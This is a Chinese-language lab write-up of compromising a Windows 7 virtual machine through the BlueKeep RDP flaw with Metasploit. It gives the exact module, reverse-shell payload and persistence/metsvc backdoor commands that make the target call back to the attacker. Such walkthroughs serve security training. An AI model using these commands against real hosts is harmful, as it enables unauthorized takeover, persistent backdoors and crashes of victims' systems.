目录
简介
本次渗透测试使用Kali Linux作为攻击机,使用Windows 7作为目标机,通过使用近期爆出的Windows远程桌面服务远程代码执行漏洞(CVE-2019-0708)攻陷目标主机。
测试环境
- 攻击机:Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux
- 攻击机IP:192.168.204.157
- 目标机:Windows 7 X64 旗舰版 (6.1 Build 7601, Service Pack 1) 基于VMware 14 的虚拟机
- 目标机IP:192.168.204.133
相关工具
- Nmap
- Metasploit
- persistence模块
- metsvc模块
persistence用法:
-U 通过添加注册表设置开机启动
-i 设置连接间隔时间
-p 设置攻击机端口号
-r 设置攻击机IP地址
metsvc用法:
-A 自动安装后门服务
-r 卸载已经存在的meterpreter服务(必须手动删除文件)
测试过程
首先,在目标机运行Win+R键,输入winver查看操作系统版本信息,如图:
这一步只是熟悉一下目标操作系统的版本信息,并不算在真正的渗透测试中,仅供对后边的测试中发现的信息做对照。
现在才是正式开始,假设我们只知道目标主机的IP地址,然后使用Nmap扫描目标主机开放的端口信息,如图:
发现主机开放了3389端口,由于目标主机开启了防火墙且禁止了Ping功能,因此nmap的操作系统指纹识别出现误差,但是在关闭防火墙的情况下可以识别操作系统版本为如下图所示的几种可能:
接着我们启动Metasploit,在启动之前我们需要使用apt update; apt install metasploit-framework命令更新Metasploit,更新完成之后启动Metasploit,然后使用search cve-2019-0708查找相关脚本,如图:
auxiliary/scanner/rdp/cve_2019_0708_bluekeep为漏洞检测模块,我们也可以使用该脚本先进行检测,使用use auxiliary/scanner/rdp/cve_2019_0708_bluekeep命令加载该模块,然后查看需要设置的,如图:
只需要设置目标主机就可以了,使用set rhosts 192.168.204.0/24命令设置目标主机为该局域网的一个C段,然后使用exploit或者run开始检测,如图:
可以看到目标主机是存在该漏洞的,其实这一步也不是必要的,直接使用exploit/windows/rdp/cve_2019_0708_bluekeep_rce攻击模块也是可以的。使用use exploit/windows/rdp/cve_2019_0708_bluekeep_rce命令加载该模块,然后查看需要设置的选项,如图:
可以看到只需设置RHOSTS,这里也可以设置为一个IP地址段,直接对整个IP段进行攻击,但是所花的时间是非常长的,因此只设置为目标主机,使用set rhosts 192.168.204.133设置目标主机,需要注意的是我们需要自行设置Exploit target,使用默认的自动检测攻击目标是不能攻击成功的,自动检测是会出现误差的。使用show targets查看支持的目标操作系统列表,如图:
从前面Nmap的扫描结果可以看出目标主机是运行在VMWare上的虚拟机,因此可以从3-5依次尝试,如果目标主机未开启防火墙,就可以发现目标主机的操作系统最可能是target 3,使用set target 3命令设置目标系统,然后查看设置的选项如图:
配置好攻击模块之后还需要设置反弹shell的payload,还是使用最常用的meterpreter吧,使用set payload windows/x64/meterpreter/reverse_tcp设置payload,然后使用show options查看配置的攻击信息,如图:
最后使用exploit或run开始攻击,经过几十次的失败之后,偶然设置target为4居然成功了,如图:
成功获取系统权限后我们需要将权限维持下去,总不能每次都进行这么一次攻击吧,太累了,我们使用Metasploit的Persistence模块创建一个meterpreter后门,使用命令run persistence -U -i 10 -p 4444 -r 192.168.204.157使目标开机自动反向连接到攻击机,如图:
执行成功后会创建weGbRnVIEvR.vbs脚本并添加注册表,可以在目标主机打开C:WindowsTEMPweGbRnVIEvR.vbs进行查看,然后可以退出会话,使用use exploit/multi/handler启动监听程序,使用windows/meterpreter/reverse_tcp命令设置payload为meterpreter,然后使用set lhost 192.168.204.157设置攻击机IP地址,如图:
运行之后等待一段时间目标主机就会连接到攻击机,如图:
也可以使用metsvc来创建一个后门服务,使用run metsvc -A命令创建一个后门,如图:
它将后门绑定在了31337端口,接着使用use exploit/multi/handler开启监听,使用set payload windows/metsvc_bind_tcp命令设置payload,然后使用set rhost 192.168.204.133命令设置目标IP地址,然后exploit就可以了,但是这个测试了几十遍也没成功。
遇到的问题
测试过程中总是遇到无法反弹情况,主要有两种,一种是攻击成功但是无法建立会话,如图:
另一种是造成蓝屏,如图:
实际上造成蓝屏也算是拒绝服务攻击成功了,但是这并不是我们想要的结果,我们想要的是悄无声息的远程控制目标主机,但是对于缓冲区溢出攻击来说,这两种情况是经常会发生的。解决的办法只有不断的重复,设置较准确的target。
总结
本文描述了从使用Nmap对目标进行端口扫描,到使用Metasploit检测CVE-2019-0708并利用该漏洞对目标主机进行渗透攻击,成功获取目标服务器的最高权限。从信息收集、漏洞发现、漏洞利用到权限维持,本文详细记录了各个过程的步骤。测试过程中也遇到两个问题,虽然数量很少但很折磨人,索性世上无难事,只怕有心人。